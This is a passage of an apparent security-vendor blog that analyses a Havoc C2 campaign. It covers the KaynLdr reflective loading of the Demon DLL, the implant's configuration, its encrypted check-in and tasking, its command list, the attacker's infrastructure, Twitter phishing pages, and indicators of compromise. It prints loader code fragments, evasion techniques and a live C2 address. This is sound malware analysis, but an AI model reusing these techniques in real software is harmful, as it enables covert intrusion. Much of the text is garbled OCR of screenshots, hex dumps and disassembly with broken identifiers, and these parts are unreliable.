C_PTR( KaynLibrarylLdr + SecHeader[ i ].PointerToRawData ), // Section Raw Data
SecHeader[ i ].SizeOfRawData // Section Size
)i
} ImageDir = & NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

if ( ImageDir->VirtualAddress )
KaynLdrReloc( KVirtualMemory, NtHeaders->OptionalHeader.ImageBase, C_PTR( KvirtualMemory + ImageDir->VirtualAddress ) );

\ Base Relocation Function

if ( ( SecHeader[ 1 ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) &% ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) )
Protection = PAGE_EXECUTE_WRITECOPY;

if ( ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_READ ) )
Protection = PAGE_EXECUTE_READ;

if ( ( SecHeader[ 1 ].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( SecHeader[ i ].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( SecHeac

Protection = PAGE_EXECUTE_READNRITE; Change Page Protections of the Demon DLL

Instance.Win32.NtProtectVirtualMemory( NtCurrentProcess(), &SecMemory, &SecMemorySize, Protection, &0ldProtection );

Fig 23. Memory Mapping of the embedded Demon DLL

The Demon DLL is memory mapped in the Allocated memory without the DOS and NT
Headers in order to evade detection mechanisms.
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000002 5F4EEEQDBO
000002 5F4EEEQDSO
000002 5F4EEEOQDAD
0000025F4EEECDBD
000002 5F4EEEODCO
000002 5F4EEEQDDO
000002 5F4EEEQODED
000002 5F4EEEQDFO
000002 5F4EEEQEDD
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Fig 24. Demon DLL is memory mapped without DOS and NT Headers

Now once the Demon DLL is memory mapped the KaynDIIMain i.e the entrypoint of the DLL

is executed by the KaynLdr as shown below, from there on the control is transferred to the

Havoc Demon DLL Implant.

48:83C5 28
41:FFp4
E9 32FFFFFF
8843 28
45:31c0
BA 01000000
48:01C8

FF
48:83C4 50
58

add rbp,28
can r12

Jmp 25F4EECO12
mov eax , dwor

a2 &% Dump3 W% Dumo4

W pump s /Q‘ Watdh 1

[AscII

00 00 00 00(00 00 00 00|00 00 0O 00

Hex
00 00 00 00[00 00 00 00]00 00 00 00
00 00 00 00|00 00 00 00|00 00 00 Of

KaynD11Main( KVirtualMemory, DLL_PROCESS_ATTACH, NULL );

00 00 00
00 00 00 00
00 00 00 00

N | |
Library function [ll Reguiar function [l Instruction | Data [l Unexplored | External symbol [l Lumina function
d
d (7] Functions M A x| B oaewa B S Hexview-1 @A stuchre B & Enums 0 B s [x]
. -
Function name . =
]f Demon DLL EntryPoint W=
L sub_363D3103E
7] sub_263031050 \
7] sub_363031000 ; BOOL _ stdcall DllEntryPointlHINSTANCE hinstDLL, DWORD fdwReason, LPVOI
Fd wﬁ;;g;ggg public DIIEntryPoint
EA pyce Dl1EntryPoint proc near
|| sub_3630313c0 dec edx
7] nulsuo_2 inz short loc_363D3858F
L sub_363D31500
J‘_ sub_363031540 ‘—[
f| sub_363D31560 ﬁ 54
L sub_363D31570 E E’ﬁg
sub_363D31580 sub rsp, 28h
1 sub_363D315C0 © mov cs:qword_363D42020, rcx||loc_363D3858E:
o N |call  sub_3¥3D37F30 xor eax, eax
..... retn
BOOL ( WINAPI *KaynDllMain ) ( PVOID, DWORD, PVOID ) = C_PTR( KVirtualMemory + NtHeaders->OptionalHeader.AddressOfEntryPoint ); DllEntryPeint endp
----------- -

U0 00 U0 UD[0D DU D UUJUU UD DU OU [0V DO LU UO|.
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Fig 25. Entrypoint of the Demon DLL is been executed by the KaynLdr

Analysis of Havoc Demon DLL.:

The entrypoint of the Havoc Demon DLL is executed by the KaynLdr as discussed
previously. Now as the Havoc Demon has many features, we will only focus on a few of
them in the following blog, as the features can be deduced from its source at:
https://github.com/HavocFramework/Havoc

So once the Havoc Demon is been executed there are four functions which are been
executed by the DemonMain():

Demonlnit
DemonMetaData
DemonConfig
DemonRoutine

The Demonlnit is the initialization function which

Retrieves the virtual addresses of functions from modules such as ntdll.dll/kernel32.dlI
by calling the API Hashing Routine discussed previously.

o Retrevies Syscall stubs for various NTAPI’s

e Loads various Modules via walking the PEB with stacked strings

Initialize Session and Config Objects such as Demon AgentID, ProcessArch etc.

Now let’s understand how the Configuration is being parsed via the DemonConfig()
function.

The Demon’s Configuration is been stored in the .data section as shown in the screenshot
below
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.uaia.
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
-data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
_data:

VUUUUUUIU U oL
0000000363D4038D
0000000363D4038E
0000000363D4038F
0000000363D40390
0000000363D40391
0000000363D40392
0000000363D40393
0000000363D40394
0000000363D40395
0000000363D40396
0000000363D40397
0000000363D40398
0000000363D40399
0000000363D4039A
0000000363D4039B
0000000363D4039C
0000000363D4039D
0000000363D4039E
0000000363D4039F
0000000363D403A0
0000000363D403A1
0000000363D403A2
0000000363D403A3
0000000363D403A4
0000000363D403A5
0000000363D403A6
0000000363D403A7
0000000363D403A8
0000000363D403A9
0000000363D403AA
0000000363D403AB
0000000363D403AC
0000000363D403AD
0000000363D403AE
0000000363D403AF
ARAARAAIA3INAA3RA

db
db

db
db
db
db
db

db
db
db
db
db

db
db
db
db
db

db
db
db
db
db

db
db
db
db
db

db
db
dh

5]

]
43h
3Ah
sch
57h
69h
6Eh
64h
6Fh
77h
73h
sch
53h
7%h
73h
74h
65h
6Dh
33h
32h
5Ch
6Eh
6Fh
74h
65h
70h
61h
64h
2Eh
65h
78h
65h
1Fh

Target Process for Injection

C .data:0000000363D403E1
.data:0000000363D403E2
.data:0000000363D403E3
.data:0000000363D403E4
.data:0000000363D403E5
.data:0000000363D403E6
.data:0000000363D403E7
.data:0000000363D403E8
.data:0000000363D403E9
.data:0000000363D403EA
.data:0000000363D403EB
.data:0000000363D403EC
.data:0000000363D403ED
.data:0000000363D403EE
.data:0000000363D403EF
.data:0000000363D403F0
.data:0000000363D403F1
.data:0000000363D403F2
.data:0000000363D403F3
.data:0000000363D403F4
.data:0000000363D403F5
.data:0000000363D403F6
.data:0000000363D403F7
.data:0000000363D403F8
.data:0000000363D403F9
.data:0000000363D403FA
.data:0000000363D403FB
.data:0000000363D403FC

=

o a3k

LOT MO I ~NWEMrNn<S W~z
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Demon Configuration stored

Host

db
db
db

db
db
db
db
db

db
db
db
db
db

db
db
db
db
db

db
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db

31h

34h

36h

2Eh
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39h

3eh

2Eh
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Fig 26. Demon Configuration stored in the .data section

@

-udid:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:

YOUUOUY 30 IUHI4TY uo ]

0000000363D4040A db 4ph ; 1
0000000363042408 db o
0000003630404 db 6Fh ; o
000000036304240D db o
0000000363D4040F db 7Ah ; z
0000000363D4240F db o
0000000363D40410 db 69h ; i
0000000363049411  JserAgent db O
0000000363D40412 db 6Ch ; 1
0000000363040413 db o
0000000363D40414 db 6Ch ; 1
0000000363042415 db o
0000000363D40416 db 61h ; a
0000000363040417 db o
0000000363D40418 db 2Fh ; /
0000000363042419 db o
0000000363D4041A db 35h ;5
0000000363042418 db o
0000000363D4041C db 2Eh ; .
000000036304241D db o
0000003630404 1F db 36h ; o
0000000363D4241F db o
0000000363D40420 db 20h
0000000363042421 db o
0000000363D40422 db 28h ; (
0000000363040423 db o
0000000363D40424 db 57h ;U
0000000363042425 db o
0000000363D40426 db 69h ; i
0000000363040427 db o
0000000363D40428 db 6Eh ; n
0000000363042429 db o
0000000363D4042A db 6ah ; d
0000000363042428 db o
0000000363D4042C db 6Fh ; o
0000000363042420 db o
0000000363D4042E db 77h ; w
0000000363D4942F db o
0000000363D40430 db 73h ; s

The DemonConfig function parses the configuration by indexing the various required values
from the config. Following is the configuration for the Demon DLL used in the campaign.

Configuration:

o Sleep: 2 (0x2)
Injection:
o Allocate: Native/Syscall (0x2)
o Execute: Native/Syscall (0x2)

000002

000002
000002

000002
000002
nnnnna

Spawn:

o x64: C:\Windows\System32\notepad.exe
o x86: C:\Windows\SysWOWG64\notepad.exe

Sleep Obfuscation Technique: Ekko (0x2)
Method: POST
Host: 146[.]190[.148[.]229
Transport Secure: TRUE
UserAgent: Mozilla/5.0 (Windows NT 6.1; WOW®64) AppleWebKit/537/36 (KHTML, like

Gecko) Chrome/96.0.4664.110 Safari/537.36

>

1
250BCE6313
250BCEG31A

250BCE6324
250BCE632B
2RORCERITN

cw

(IR

FFC3

EBE
OF
31
ES8

4C:B9E
:8905 09A20000

48
EE
ar

ds:[<&Rt1A11oiateHeap>]

3r 55:

Brsp+2C

1s5:[2250BCFO55A] ,rax

CF
BFOD 32A20000

DB
6F470000
B9EL

005D0000
*ROFA

inc ebx

jmp 2250BCE62E2

movsx ecx,word ptr ds:[2250BCFO54C]
xor ebx,ebx

€all 2250BCEAASD

mov rcx,rl2

mov_qword ptr ds:[2250BCF0534],rax
€all 2250BCECO30

mow rey r13

/ Host - CnC

rax:&L"146. L90.48.229"I

User Agent
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Fig 27. Demon Configuration - Host (CnC) and UserAgent parsed

The DemonRoutine() function is the main loop for the malware, it is responsible for
connecting to the command and control (C2) server, waiting for tasks from the server,
executing those tasks, and then waiting again for more tasks and running indefinitely. It
does the following things:

o First, it checks if it is connected to the C2 server. If not, it calls Transportlnit() to
connect to the server.

« If the connection is successful, it enters the CommandDispatcher() function, which is
responsible for a task routine which parses the tasks and executes them until there
are no more tasks in the queue.

« If the malware is unable to connect to the C2 server, it will keep trying to connect to
the server again

Now let’s understand how it connects to the Transportinit function:

Transportlnit() is responsible for connecting to the C2 server and establishing a session. It
first sends the AES encrypted MetaData packet i.e the Check-in request generated via the
DemonMetaData() function through the PackageTransmit() function, which could be
sending data over HTTP or SMB, depending on the value of the TRANSPORT_HTTP or
TRANSPORT_SMB macro. If the transmission is successful, it then decrypts the received
data using AES encryption with a given key and initialization vector on the TeamServer. The
decrypted data is then checked against the agent's ID, and if they match, the session is
marked as connected and the function returns true.

Header (if specified):
{ STZE 1 4 by

{ Magic Value

1
[ Agent ID ] 4 by
[ COMMAND ID 14
DE _AD BE EFV0C B84 DC FO
T N B N T -3V P B

66 28 06 2F

D4 7C DO . e
GL 78 BE F6|54 90 BZ OE 1 3. =.BD1> [ AES
CESE L)) L DESKTUP= [ AES
4E 4B 2 P he— e
§9 GE 00 00|00 00 00 00 U [ Magic value

2E 30 2E 30|2E 30 0D 00|00 00 00 00|00 00 00 00| 0.0.0.. ... . .5%
00 00 30 43|3A 5C 55 73[65 72 73 5C |53 68 61 74|72 [ Demon ID
[=

011B489800000] = 0000000000000000 (User Data) |72 3E | [ User Name

65 78 65 0OJ00 OF 24 00§00 00 00 _00J00 00 02 00 jexe. oo
00 00 01 _O0j 00 00|0A 00|00 0OO0JO0 OO[00 00 T
00 00 |00 00|00 4A |82 ©0|00 00|09 00|00 00 spmmsdanianen o

[ Host Name

[ Domain

1
]
1
1
]
1
]
[ IP Address ]
1
]
1
1
1
1
]

[ Process Mame

[ Process ID

[ Parent PID

[ Process Arch

[ Elevated
[ 0s Info
[ 05 Arch

(5 *4) bytes

4 bytes

[ optional ] Eg: Pivots, Extra data about the host or network etc.

Fig 28. Metadata Structure - Checkln Request
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TransportSend() is used to send data to the C2 server. It takes a pointer to the data and its
size as input, and optionally returns received data and its size.It then creates a buffer with
the data to be sent, and depending on the transport method, it either sends the data over

HTTP or SMB.

FF7EC32E000

Aes Key

FE76C328£98 demon. exe: §RE98 #8298

25525 %

200

0F4508

4818805 A0540000

iCigD74z4 20

1C189F

4818890 CE0D0000

4C1 8880 DE0D000D
=

Aes IV

Whoump2  W4pump3  @Houmps  wpumps @ watch1  [ilocals] ' stua

a"hpee \xo1”

Transport Send dencn. 00007 FF7EC

Function

RFLAGS  0000000000000246
ZF1 PEL AF O

>

<
o | Defoutt (x64 fastcall) ~|[5 =100 unioa
e

ST
T
B sees

BOOL Transportsend( LPVOID Data, SIZE_T Size, PVOID* RecvData, PSIZE_T Recusize )

Fig 29. TransportSend Function Arguments With Encrypted Data of the Check In request

On the Teamserver end the Checkln request with the metadata packet is been decrypted
and showcased on the terminal with both encrypted and decrypted details of packets sent

and received

Encrypted Data

BUFFER Send = { © };
BUFFER Resp = { 8 };

Send.Buffer - Data;

Send.Length = Size;
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[@8:55:32] [DBUG] [agent.ParseResponse:214]: Response:

eb
48
78
al
Jc
bC
1f
b6
e3
78
a3
a3
c2

[@88:55:32] [DBUG] [agent.ParseResponse:273]:

a6
9a
i
dd
a9
ef
22
1
af
a2
ea
55
36

le
78
24
49
Fr
el
1d
94
a5
39
FE
bf
d3

98
14
da
33
S5b
e
el
57
12
Ad
6b
e’y
31

b8 2a
b6 28
bc 78
3b 58
dd 27
32 31
87 e3
34 58
at =@
la 28
df a7
76 Af
8d aB

18
26
de
44
3a
15
69
c/
de
85
64
62

ab
2e
6
16
&b
dl
17
82
5d
ef
Ja
dil
be

ag
9a
58
86
ad
Ac
d9
jc
ad
7d
c9
ad
58

4da
d4
98
df
al
aa
cd
19
43
ed
21
df
bg

48
Jc
b2
a2
db
25
58
cl
ct
cd
Oa
ag
be

28860668 eb Bq le 98 68 2a 18 a8 a8 4a3 48
BE2eee18 48 93 78 14 66 28 86 2e 9a did Jc

[@8:55:32] [DBUG] [agent.ParseResponse:274]:

Doobeese 70 cd4 24 4a 6c 73 8e f&6 58 90 b2

[88:55:32] [DBUG] [agent.ParseResponse:276]:

al
Jc
bC
1f
b6
e3
78
a3
a3
c2

[@88:55:32] [DBUG] [agent.ParseResponse:280]:

Bc
45
bb
2e
515]
61
64
65

dd
a9
ef
22
1
af
a2
ea
55
36

84
da
28
38
ea
6b
65
78

49
77
el
1d
94
85
39
73
et
d3

dc
53
da
2e
38
28
od
65

33
S5b
e
el
57
12
Ad
6b
e’y
31

fa
36
61
38
43
da
ef
5]5]

3b 58
dd 27
32 31
87 e3
34 58
at =@
la 28
df a7
76 Af
8d aB

28 a8
da 4b
69 6Ge
Ze 38
Ja 5¢c
61 69
be Ze
28 af

44
3a
15
69
c/
de
85
64
62

aa
32
aa
aa
55
be
65
24

16
&b
dl
17
82
5d
ef
Ja
dil
be

af
aa
aa
aa
73
5¢
78
aa

26
ad
dc
d9
jc
ad
7d
c9
ad
58

44
aa
aa
aa
65
44
65
aa

df
al
aa
cd
19
43
ed
21
df
bg

45
5%}
ae
5%}
72
65
5c
5%}

a2
db
25
58
cl
ct
cd
Oa
ag
be

53

&c
[55]
[5.5]

73
73
b4
Be

48
de
Be
13
= |
5h
9a
33
27
79
b3
33
ea

de
ed
de
8a
bb
de
a7
Ja
97
98
13
b
72

42
eb
44
89
al
b3
84
1d
78
ab
7
74
94

AES KEY
40 de 42
de ed eb

AES IV :

Be do 44

Buffer:

13
51
Sh
9a
33
27
79
b3
33
ea

8a
bb
de
a7
Ja
97
98
13
b
72

89
al
b3
84
1d
78
ab
7
74
94

1e
fc
ce
ba
27
c?
87
daé
51
08
1f
ed
64

l....h*...

lp-$31x..%....D..
|-.

].C." .xQs]
. ..pm.y...0|

|..8C:\Wsers\&
| \Desktop) |
| demon . exe\demon.

Fig 30. Check In Request - Metadata packet parsed by the Team Server

Command Execution:




After the demon is deployed successfully on the target’s machine, the server is able to
execute various commands on the target system. If the command "whoami" is issued to the
payload, it would trigger the execution of the command and display the current user running
the session.The server logs the command and its response upon execution.

Havoc View Attack Scripts Help

0 Internal Computer 0s Process
= 165233fc Windows 10 demon, exe
- Windows 10 demon. exe
10 n
Wil 10 demon
Windows 10 demon
DESKTOP- Windows 10 demc

| Event Viewer X

Teamserver Chat X [165233fc]

n Agent [
Received Output [3410 byt

UserName

DESKTOP-|

GROUP INFORMATION

Group 3 £ Endbled by default, Enabled gr
Well-known group - Encbled by default, Enabled gr
nt and menber of Administrators groupWell-known group

nabled by default, Enabled gr

Encbled by de Enabled g

g Enabled by default, Enabled g

n group Mand Encbled by def Enabled gr
Well-known group -15 , Enabled by di Enabled group,
Well-known group ¥ oup, Enabled by default, Enabled group,
! n group Mandatory g Enabled by default, Enabled group,
Well-known group -64-10 Mandatory group, Enabled by default, Enabled g

Fig 31. Command execution using Havoc GUI

Once the command is executed on the victim machine, the command output is AES
Encrypted and then sent to the CnC server, which is then decrypted by the TeamServer as
shown in the screenshot below.
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.(*Agent).TaskDispatch:1718]: Task Output:
00 00 ed 52 Pa 55 65 72 6d 65 89 @9 53 |...R.UserName..S|
49 44 @a 3d 3d 3d 3 3d 3d 3d 3d
3d 3d 3d 3d 3d 3d 3d 3d 3d
3d 3d 3d 3d 3d 3d 3d 3d 3d
3d 3d 3d 3d 3d 3d 3d Pa
53 4b : 48 4a 5 4b 5¢ | ESKTOP-

bW oW owow
o oo

51 74 6 20 4a 61 69 - 2d 3 | : W.5-1-5|
31 : 36 36 : | -21-4086602998-6 |
30 ) 2d 3¢ : 3 | 55060677-9571539 |

; Pa O ; ) |13-1008...GROUP |

46 ; 49 20 20 20 |INFORMATION
20 20 20 20 20 20 20 20 20 20 20 |
20 20 20 20 20 . 20 2¢
20 20 20 20 20 : 20 20
) 20 ) 20 26
) 20 ) 20 20 : 20 26
20 20 ) 20 20 : 20 26
20 41
20

{5 O S O 5 T o Y 65 Y 6 T 6
O O @ U e @ 3

Fig 32. Command Output Logs parsed by the TeamServer
List Of Commands:

The specific commands available in Havoc will depend on the version and configuration of
the framework, but some common commands that are often included in C2 frameworks
include:

Command Type Description

Command Shows help message of specified command SEC_DATA DEMON_C
sLeep. Command sets the delay to .sLeep (.0 = - Commandsleep
Fhechn Commar!d request a checkin request .0 = inction = CommandCheckin
job Medule  job manager .10 - Son - Command
task Module  task manager : -
. {.I0= = CommandProc

proc Module  process enumeration and management

5 . 5 o { .10 = = Command
dir Command list specified directory
download Command downloads a specified file Coao= fon = Command?s
upload Command uploads a specified file t.10= = CommandlniineExecute
cd Command change to specified directory {.10= = Command vInlineExecute
cp Command copy file from one location to another {.Io= don = CommandAssemblylistVersion
remove Command remove file or directory 1.0 = = CommandConfig

mkdir Command create new directory {.1o= = Commandscreenshot
pwd Command get current directory {.ID= = CommandPivot

cat Command display content of the specified file {.10= = Command

screenshot Command takes a screenshot { .ID = DEMOM_COMMAND_INJECT_DLL, .Function = Comman, ectDLL
shell Command executes cmd.exe commands and gets the output { .ID = DEMON_C ND_TNJIECT_SHELLCODE, .Function = CommandInjectShellcode
powershell Command executes powershell.exe commands and gets the output { .ID = DEMON_C N_DLL, .Function = CommandSpawnDLL
inline-execute Command executes an object file f .ID = DEM : ion = CommancToken
shellcode Module  shellcode injection techniques { .ID = DEM SFER. = CommandTransfer

dlll Module  dll spawn andlnjeFtlon modules £ .10 = DEME OCKET, Con

i Command  cleanup and exit ) ) { .10 = DEMON_EXIT, .Function = CommandExit

token Module  token manipulation and impersonation

dotnet Module  execute and manage dotnet assemblies .

End
net Module network and host enumeration module _ .
{ .ID = NULL, .Function = NULL }

config Module  configure the behaviour of the demon session
pivot Module  pivoting module
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Fig 33. Commands List

Further the Demon implements various techniques mentioned below which can be analyzed
from the source:

e Return Address Stack Spoofing
 In-Direct Syscalls
e Sleep Masking Techniques

o Ekko

o FOLIAGE

o WaitForSingleObjectEx

Tracking the threat actor - Infrastructure and Opsec blunders:

The domain name “ttwweatterarartgeal.]Jga” from where the final havoc demon payload
‘image.exe” is downloaded in this case resolves to the IP Address “146[.]190[.148[.]229" -
which is the IP address from where the final payload “pics.exe” was downloaded via the
URL: http[:]//146][.]190][.]48[.]229/pics.exe previously. Whilst performing the infrastructure
analysis we came across an open-directory on the server “ttwweatterarartgeal.]Jga” where
multiple demon & metasploit payloads along with internal logs and screenshots were hosted
as shown in the screenshot below.
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https://github.com/HavocFramework/Havoc

€« > C A Notsecure | [ttwweatterarartgea.ga

Name

Last modified Size Description

-
2fa html
Chrome exe

NFcmoOSLhtml
@ Untitled-document docx

@ Untitled-document docx?dl=0

@ Untitled-document docx?dl=1

WZJUBCPW jpes

[?) loutput
fuackmel00.exe

fuck exe

geta tut

haeds exe

hey.exe

index neinx-debian html
% login noinx-debian html

E‘?i loser exe

([ manw/

() ncde_modules
openmyf exe

[ package-lock json
payload24 exe
pics.exe
powershell pavload txt
shellcode bin
shellcodel.bin
uwuade.exe

[?) weet-log

2023-01-12 23:56 21K
2022-12-23 23:56 4
2023-01-3004:17 203K
2023-01-13 00:27 1.0K
2023-01-11 16:44 240K
2023-01-11 16:43 241K
2023-01-11 16:44 241K
2023-01-13 00:28 138K
2023-01-13 01:12 0
2023-01-23 21:34 203K
2023-01-08 17:11 202K
2023-01-13 16:52 13K
2023-01-12 22:42 200K
2022-12-31 03:29 202K
2022-12-24 01:09 13K
2022-12-24 01:07 53K
2023-01-13 01:15 0
2023-01-11 16256 -
2022-12-23 02:34 -
2023-01-23 05:02 202K
2022-12-23 02:30 569
2023-01-13 00:31 72K
2023-01-03 21:15 203K
2023-01-12 23:55 0
2023-01-12 23:10 44K
2023-01-12 23:27 354
2023-01-14 19:09 203K
2023-01-11 16:43 725

Apache/2 441 (Ubunfu) Server af twweatterararigea ga Port 80

Fig 34. Open Directory - “ttwweatterarartgeal.Jga”

While examining the files on the open directory, we stumbled upon a HTML file named
“‘NFcmoOSI.html”. The file displayed a screenshot of the threat actor’s machine as
illustrated below.
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C A MNotsecure |[ttwweatterarartgea.ga/NFemoOSLhiml |

——Threat Actors IP Address

P o:
Start time : 2823-81-13 88:17:57 +8088
Status : Playing

ols
Windows (C) * Users - Do

Server

wwet [ rtm1 /NF cmoOSI . himl "

hive

Fig 35. Tracking the threat actor - Metasploit Screenshare

Based on our analysis, the threat actor detonated the meterpreter payload on its own
machine and then used the CnC Server to initiate the Metasploit screenshare
command.This action generated a file named "NFcmoOSI.html" on the server which
contained a screenshot of the machine being shared along with the Target IP, Start Time
and status of the screenshare.

Further we were able to gather following information from the threat actors machine
screenshot as highlighted below where the initial payload used in our campaign was
present on the TAs machine along with the Havoc Demon implant and much more.
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EREE A <

Name

Today (11)

5 ThisPC
0 3D Objects
M Desktop
B pocuments
¥ Downloads
Music
B Pictures

eos

A Linux

140 items | 1 item selec

7:28 PM
120 | e

L Type here to search vadl [ h A 5 N & 50°F Cloudy ~ © B 7 dx

Fig 36. Tracking the threat actor - Machine Screenshot

Now based on the Target IP (i.e the threat actors IP) the location of that IP seems to be in
New York, USA. Additionally, the temperature at the time of the screenshot: 1/12/2023
7:28PM was 50° Fahrenheit (Cloudy), after mapping the historical weather data of New York

at that specific time we found that the average temperature was approx close to 50°
degrees Fahrenheit during that time period.

January v ‘ 12 v ‘ 2023 v View
12AM 3AM 6AM 9AM 12PM 3PM sPMT:33PM 9PM 12AM
3=k %

Bl Temperature (°F)

Fig 37. Tracking the threat actor - Temperature

Alongside, we came across a log file named “wget-log” which consists of the wget log
where the Document lure “Untitled-document.docx” was downloaded from the DropBox
URL: “https://www.dropbox.com/scl/fi/lhnlvrwbl9v2zadl356mt3/Untitled-document.docx”
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< C A Mot securs | ttwweatterarartgea.ga/wget-log

--2023-91-11 16:43:32-- |hft;s:ffwnw.drn:bcx.cnmfsclfFif1rLf'wblgvizadliiﬁwtifUﬂtitled-:ccume1t.:c:x?d;=2
Resolving www.dropbox.com {www.dropbox.com)... 162.125.2.18, 2628:100:6015:18::a27d:712

Connecting to www.dropbox.com (www.dropbox.com)|182.125.2.18|:443... connected.

HTTP request sent, awaiting response... 288 OK

Length: unspecified [text/html]

Saving to: &€ Untitled-document.docx?dl=BaE™

ed-docu
Untitled-docu

me

ment . docx3dl=06 [<=> 1
ment.docx?dl=2 [ <=» ] 241.42K

2823-81-11 16:43:32 (1.95 MB/s) - &€ Untitled-document.docx?dl=0&€™ saved [247215]

Fig 38. Tracking the threat actor - wget logs

Also the HTML pages “index.nginx-debian.html” and “login.nginx-debian.html” are under-
development Twitter phishing pages as shown in the screenshot below.

im] D ttwweatterarartgea.ga/loginngic X | 4

& @] A Notsecure | ttwweatterarartgea.ga/login.nginx-debian.html A
NASA @& -
wr <~ Pty Q search Twitte
17 Home
1+ Explore e .
2\ Notifications . o ’
=& Messages . R .
Sign in to Twitter You might like
Bookmarks .
= @NASA s, The White
=] Lists Explore the] Username : @WhiteHc
Intl. Spac
g Profile @Space_S
CNN Brea
G More @cnnbrk

Password :

Show more

What's happe

US news - 31 minutes
Ghislaine Maxwell
arrested by the FE

Celebrities - Trending
Brie Larson

11.6K people are Twe(

Fig 39. Twitter Phishing Pages hosted on ‘“ttwweatterarartgeal.]Jga”

Zscaler Cloud Sandbox Report:
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@%>zscaler Cloud Sandbox &

SANDBOX DETAIL REPORT ® HighRisk  ® ModesateRisk  * Low Rk a
Report ID (MDS): SBE4ES115CDF225871A66899E7BC5861 Analysis Performed: 1/29/2023 1:21:17 AM File Type: exe
CLASSIFICATION MACHINE LEARNING ANALYSIS MITRE ATT&CK
Class Type Threat Score This report contains § ATT&CK techniques mapped to 4
Malicious 8 6 tactics
Category
Malware & Botnet [T I
VIRUS AND MALWARE SECURITY BYPASS bt NETWORKING
= Sample Execution Stops While Process Was Sleeping » Performs Connections To IPs Without Corresponding
(Likely An Evasion) DNS Lookups

» Detected TCP Or UDP Traffic On Mon-Standard Ports
Mo known Malware found .
URLs Found In Memory Or Binary Data

Try To Detect The Virtual Machine To Hinder

An.;\'ysis
STEALTH SPREADING INFORMATION LEAKAGE
No suspicious activity detected No suspicious activity detected No suspicious activity detected
EXPLOITING B4 PERSISTENCE b SYSTEM SUMMARY
= Known MDS PE File Contains Sections With Non-Standard Namas = PE File Has An Invalid Certificate
May Try To Detect The Windows Explorer Process = Program Does Mot Show Much Activity

= PE File Contains Mora Sections Than Mormal
Binary Contains Paths To Debug Symbols
Classification Label
Contains Modern PE File Flags Such As Dynamic
Base Or NX w7

Fig 40. Cloud Sandbox Report
Zscaler's multilayered cloud security platform detects indicators, as shown below:

Win64.Backdoor.HavocC2

Conclusion:

The Havoc C2 framework campaign highlights the importance of proper cybersecurity
measures in today's digital world. The use of payloads and CnC servers to execute
malicious commands and gather sensitive information showcases the ever-present threat of
cyber attacks. The scenario described in the blog demonstrates the capabilities of such
campaigns and the need for organizations to stay vigilant and protect their systems. With
the rise of technology, the need for robust security solutions becomes increasingly vital, and
organizations must take proactive steps to ensure the safety of their systems and data.

Indicators Of Compromise:

Havoc CnC:
IP: 146[.]1190][.]48[.]229
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https://threatlibrary.zscaler.com/threats/3e991d3d-0ad0-4188-9315-acca9e3baf4c

Domain: ttwweatterarartgea[.]ga
Hashes:
Pics.exe - 5be4e5115cdf225871a66899b7bc5861

Image.exe - bfa5f1d8df27248d840d1d86121f2169
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